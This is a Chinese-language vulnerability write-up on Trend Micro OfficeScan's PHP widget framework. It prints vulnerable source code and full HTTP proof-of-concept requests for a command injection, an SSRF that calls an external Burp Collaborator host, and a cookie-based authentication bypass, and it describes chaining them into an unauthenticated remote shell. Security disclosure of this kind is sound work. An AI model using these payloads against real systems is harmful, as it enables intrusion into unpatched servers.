sauron-vs-saruma-n1-750x410.jpg

One ring to rule them ALL

框架安全是安全界众所周知的问题,实际上,Apache Struts漏洞就是此类问题的最好体现。如果我们从产品供应商的角度来看待这个问题,会发现更多相似案例。比如趋势科技在多款产品使用了相同的代码库,本文中我会展示用一个RCE漏洞就可渗透多款趋势安全软件。

一个漏洞通吃多个趋势安全软件-趋势安全软件的组件漏洞问题

大部分趋势安全软件都在管理员界面中嵌入了一个组件(widget),虽然软件核心程序为Java或.NET,但该组件却为PHP实现机制,这意味着,不论何时使用该组件,软件中肯定要包含PHP解释器模块。这就为我们研究打开了可以想像的空间:这个存在于不同安全软件中的代码库一旦存在漏洞,就能通吃所有软件,成功实现软件系统的入侵渗透。

基于此,我对Trend Micro OfficeScan的组件(widget)系统进行了一次安全审计,结果也让人吃惊:我发现了其中存在的6个漏洞,有2个为0day漏洞。在演示漏洞之前,我们来看看该组件库的工作机制。

该组件框架有一个代理机制,也即是存在proxy_controller.php这么一个服务端来接收用户提供的参数,然后根据输入来调用相关的类函数,而组件类型主要有用户自定义和默认类型。以下为proxy_controller.php中的源代码:

if(!isset($g_GetPost)){
    $g_GetPost = array_merge($_GET,$_POST);
}else{
    $g_GetPost = array_merge($g_GetPost,$_GET,$_POST);
} // ... CODE OMIT ... $server_module = $g_GetPost['module'];
$isDirectoryTraversal = WF::getSecurityFactory()->getSanitize()->isDirectoryTraversal($server_module); if(true === $isDirectoryTraversal){
    mydebug_log("Bad guy come in!!");
    proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
}
$intUserGeneratedInfoOfWidget = (array_key_exists('userGenerated', $g_GetPost)) ? $g_GetPost['userGenerated'] : 0; if($intUserGeneratedInfoOfWidget == 1){
    $strProxyDir = USER_GENERATED_PROXY_DIR;
}else{
    $strProxyDir = PROXY_DIR;
}
$myproxy_file = $strProxyDir . "/" . $server_module . "/Proxy.php"; //null byte injection prevents if( is_string( $myproxy_file ) ) {
    $myproxy_file = str_replace( "\0", '', $myproxy_file );
}
            // does file exist? if(file_exists($myproxy_file)){
    include ($myproxy_file);
}else{
    proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
} // does class exist? if(! class_exists("WFProxy")){
    proxy_error(WF_PROXY_ERR_INIT_MODULE_ERROR, WF_PROXY_ERR_INIT_MODULE_ERROR_MSG);
} // ... CODE OMIT ... $request = new WFProxy($g_GetPost, $wfconf_dbconfig);
$request->proxy_exec();
$request->proxy_output(); 

以上代码段分别执行了以下几项操作:

1、合并GET和POST参数并将它们存储在$g_GetPost变量中;

2、验证$g_GetPost['module']变量;

3、检查$g_GetPost[‘userGenerated’]参数,确认组件是否为用户自定义;

4、包含进所需的php类;

5、最后创建WFProxy实例,并调用proxy_exec()和proxy_output()方法。

实际上可有多种WFProxy实现方式,主要取决于从客户端所获取的变量。现在,知道了不同类之间的参数传递方式,我们可以深入来分析其中的安全问题。

漏洞#1:认证方式命令注入

以下代码取自于modTMCSS的WFProxy实现过程:

public function proxy_exec() {
  // localhost, directly launch report.php   if ($this->cgiArgs['serverid'] == '1')
  {
          if($this->cgiArgs['type'] == "WR"){
              $cmd = "php ../php/lwcs_report.php ";
              $this->AddParam($cmd, "t");
              $this->AddParam($cmd, "tr");
              $this->AddParam($cmd, "ds");
              $this->AddParam($cmd, "m");
              $this->AddParam($cmd, "C");
              exec($cmd, $this->m_output, $error);
              if ($error != 0)
              {
                  $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
                  $this->errMessage = "exec lwcs_report.php failed. err = $error";
              }
          }
          else{        
              $cmd = "php ../php/report.php ";
              $this->AddParam($cmd, "T");
              $this->AddParam($cmd, "D");
              $this->AddParam($cmd, "IP");
              $this->AddParam($cmd, "M");
              $this->AddParam($cmd, "TOP");
              $this->AddParam($cmd, "C");
              $this->AddParam($cmd, "CONSOLE_LANG");
              exec($cmd, $this->m_output, $error);
              if ($error != 0)
              {
                  $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
                  $this->errMessage = "exec report.php failed. err = $error";
              }
          }
  } private function AddParam(&$cmd, $param) {
  if (isset($this->cgiArgs[$param]))
  {
    $cmd = $cmd.$param."=".$this->cgiArgs[$param]." ";
  }
} 

很显然,这里存在着潜在的命令注入漏洞,因为我们可以完全控制数组$this->cgiArgs和$g_GetPost。每个WFProxy类都是扩展的ABaseProxy抽象类,以下则为基类中的__construct方法头两行:

public function __construct($args, $dbconfig){
        $this->cgiArgs = $args; 

可以看出,$this->cgiArgs是由GET和POST参数来填充的,由此有以下PoC:

POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1 Host: 12.0.0.184 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Cookie: LANG=en_US; LogonUser=root; wf_CSRF_token=fb5b76f53eb8ea670c3f2d4906ff1098; PHPSESSID=edir98ccf773n7331cd3jvtor5;
X-CSRFToken: fb5b76f53eb8ea670c3f2d4906ff1098 ctype: application/x-www-form-urlencoded; charset=utf-8 Content-Type: application/x-www-form-urlencoded
Content-Length: 6102 module=modTMCSS&serverid=1&TOP=2>&1|ping 4.4.4.4 

提示:在modTMCSS的WFProxy实现过程中,当其中的exec()函数正被与第二或第三个函数参数使用时,如果想利用管道技巧只需执行第一个命令,命令是长这样的:php ../php/lwcs_report.php TOP=2>&1|ping 4.4.4.4,2>&1是用来欺骗exec()函数的,因为我们在产品中没有可以利用的lwsc_report.php脚本文件。第一部分命令执行后始终返回not found error信息。

后来,我想起该漏洞可能是研究人员Steven Seeley前久发现的漏洞,趋势官方可以已经在几周前就发布了补丁更新,根据公告,该漏洞利用需要用到身份认证机制,而我已经找到了绕过身份认证的另外一个0day漏洞了,后续漏洞#6中我会作介绍。

漏洞#2 #3 #4:私钥泄露、存在可公开访问的Sqlite3和SSRF问题

这几个漏洞都已经被其它安全人员发现上报,在此不作为此文重点,感兴趣的可以点此查看。

漏洞#5:SSRF漏洞(0day)

前文提到的两种组件类型:用户自定义和默认,在此基础上趋势安全软件在其代码库中又存在着一种默认的用户自定义组件实现:modSimple,我觉得这是一种提供给用户的实现示例。该组件的proxy_exec()方法实现代码如下:

public function proxy_exec() {
  $this->httpObj->setURL(urldecode($this->cgiArgs['url']));
  if( $this->httpObj->Send() == FALSE ) {
    //Handle Timeout issue here     if($this->httpObj->getErrCode()===28)
    {
      $this->errCode = WF_PROXY_ERR_EXEC_TIMEOUT;
    }
    else     {
      $this->errCode = WF_PROXY_ERR_EXEC_CONNECT;
    }
    $this->errMessage = $this->httpObj->getErrMessage();
  }
} 

它直接使用了url参数传递而没采用了校验机制,而前面提到的$this->cgiArgs['url']数组是可被我们完全控制的,所以就有了以下PoC:

POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1 Host: 12.0.0.200 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: application/json
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Request: JSON
X-CSRFToken: o6qjdkto700a43nfslqpjl0rm5
Content-type: application/x-www-form-urlencoded; charset=utf-8 Referer: https://12.0.0.200:8445/widget/index.php Content-Length: 192 Cookie: JSESSIONID=C2DC56BE1093D0232440A1E469D862D3; CurrentLocale=en-US; 
PHPSESSID=o6qjdkto700a43nfslqpjl0rm5; 
un=7164ceee6266e893181da6c33936e4a4; userID=1; LANG=en; 
wids=modImsvaSystemUseageWidget%2CmodImsvaMailsQueueWidget%2CmodImsvaQuarantineWidget%2CmodImsvaArchiveWidget%2C;
 lastID=4; cname=dashBoard; theme=default; lastTab=3; 
trialGroups=newmenu%0D%0AX-Footle:%20bootle
X-Forwarded-For: 127.0.0.1 True-Client-Ip: 127.0.0.1 Connection: close
module=modSimple&userGenerated=1&serverid=1&url=http://azdrkpoar6muaemvbglzqxzbg2mtai.burpcollaborator.net/ 

漏洞#6:身份认证绕过(0day)

前面说过,由于趋势安全软件核心系统是Java/.NET编写的,但其组件widget系统却完全是PHP架构的,所以问题来了:

当请求通过组件时,趋势安全软件如何验证用户身份?

为此,可以利用Burp来对用户登录行为进行抓包分析,确定组件是否被调用进行身份认证,以下HTTP POST请求引起了我的注意:

POST /officescan/console/html/widget/ui/modLogin/talker.php HTTP/1.1 Host: 12.0.0.175 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session_expired=no; LANG=en_US; LogonUser=root; wf_CSRF_token=c7ce6cd2ab50bd787bb3a1df0ae58810
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 59
X-CSRFToken: c7ce6cd2ab50bd787bb3a1df0ae58810
Content-Type: application/x-www-form-urlencoded
cid=1&act=check&hash=425fba925bfe7cd8d80a8d5f441be863&pid=1 

以下是趋势安全软件身份认证文件代码:

if(!WF::getSecurityFactory()->getHttpToken()->isValidHttpHeaderToken()){
  make_error_response(WF_ERRCODE_HTTP_HEADER_TOKEN_ERR, WF_ERRCODE_HTTP_HEADER_TOKEN_ERR_MSG);
  exit();
}
// ... CODE OMIT ...
if( $_REQUEST['act'] == "check" ) {
    mydebug_log("[LOGIN][check]");
    if( (!isset($_REQUEST['hash']) || $_REQUEST['hash'] == "") ) {
      make_error_response( LOGIN_ERRCODE_LACKINPUT, LOGIN_ERRCODE_LACKINPUT_MSG."(email)");
      exit;
    }
    // check user state
    $recovered = false;
    if( STANDALONE_WF ) {
      mydebug_log("[LOGIN][check] recover session STANDALONE");
      $recovered = $wfuser->standalone_user_init();
    } else {
      mydebug_log("[LOGIN][check] recover session PRODUCT");
      $recovered = $wfuser->product_user_init();
    }
    if( $recovered == false ) {
      mydebug_log("[LOGIN][check] recover session failed");
      make_error_response( LOGIN_ERRCODE_LOGINFAIL, LOGIN_ERRCODE_LOGINFAIL_MSG);
      exit;
    }
    mydebug_log("[LOGIN][check] recover session ok");
    /*
     * return the widgets of only first tab
     */
    $ckresult = $wfuser->check_result($_REQUEST['pid'],$_REQUEST['cid']);
    if( $ckresult == false ) {
      make_error_response( LOGIN_ERRCODE_DBERR, LOGIN_ERRCODE_DBERR_MSG);
    } else {
      mydebug_log("[LOGIN][check] check result: ".$ckresult);
      make_successful_response( LOGIN_OK_SUCCESS_MSG, $ckresult);
    }
    exit;
  } 

首先,其具备了CSRF验证功能,但最重要的是,在第17和23行之间,$wfuser->standalone_user_init()$wfuser->product_user_init()是一起用来负责对组件框架进行身份认证的关键命令。

在此过程中,还产生了4个内部函数调用动作:

public function standalone_user_init(){
    mydebug_log("[WFUSER] standalone_user_init()");
    if(isset($_COOKIE['userID'])){
        return $this->recover_session_byuid($_COOKIE['userID']);
    }
    mydebug_log("[WFUSER] standalone_user_init(): cookie userID isn't set");
    return false;
} public function recover_session_byuid($uid){
    mydebug_log("[WFUSER] recover_session_byuid() " . $uid);
    if(false == $this->loaduser_byuid($uid)){
        mydebug_log("[WFUSER] recover_session_byuid() failed");
        return false;
    }
    return $this->recover_session();
} public function loaduser_byuid($uid){
    mydebug_log("[WFUSER] loaduser_byuid() " . $uid);
    // load user     $uinfolist = $this->userdb->get_users($uid);
    if($this->userdb->isFailed()){
        return false;
    }
    // no exists     if(! isset($uinfolist[0])){
        return false;
    }
    // get userinfo     $this->userinfo = $uinfolist[0];
    return true;
} public function get_users($uid = null){
    // specify uid     $work_uid = $this->valid_uid($uid);
    if($work_uid == null){
        return;
    }
    // query string     $sqlstring = 'SELECT * from ' . $this->users_table . ' WHERE id = :uid';
    $sqlvalues[':uid'] = $work_uid;
    return $this->runSQL($sqlstring, $sqlvalues, "Get " . $this->users_table . " failed", 1); 

这些调用主要完成了以下操作:

1、从用户cookie中获取变量值;

2、调用loaduser_byuid()函数来传递变量值;

3、用给定变量值调用get_users()函数,如果函数返回值为true,则会继续完成recover_session()函数调用;

4、利用给定的用户id值调用get_users()函数执行sql查询命令。

以上涉及到的代码中,$wfuser->product_user_init()函数执行顺序基本一致,惟一不同就是,$wfuser->standalone_user_init()调用了user_id,而$wfuser->product_user_init()则调用了用户名。

而在此过程,我并未见识到所谓的认证过程,甚至连参数的hash认证过程也没有,所以,在这种服务端中,用相同的变量就可完成所有的用户身份认证。

一洞通吃并用Metasploit建立反弹连接

现在,我们有两个可用漏洞,一个是刚发布补丁的命令注入,另一个是利用组件系统的身份认证绕过漏洞(0day),这两个漏洞的组合将会让我们在不需任何凭据的条件下,直接对目标系统执行操作系统命令,实现成功入侵渗透:exploit-GitHub ,视频演示:

http://v.youku.com/v_show/id_XMzEzMTY3NDQ0NA==.html

同样的漏洞实现:Trend Micro InterScan安全网关未授权RCE-exploit

后记

我想说的是,趋势科技已经对以上的命令注入漏洞发布了修复补丁,如果你是趋势用户,请尽快升级!另外,在不同产品中使用相同代码库不是啥子坏事,但一旦这种代码库存在漏洞将会使大量产品受到影响。目前,我还没对该漏洞影响的趋势产品进行核查,但可以肯定的是非常之多。

*参考来源:pentest,freebuf小编clouds编译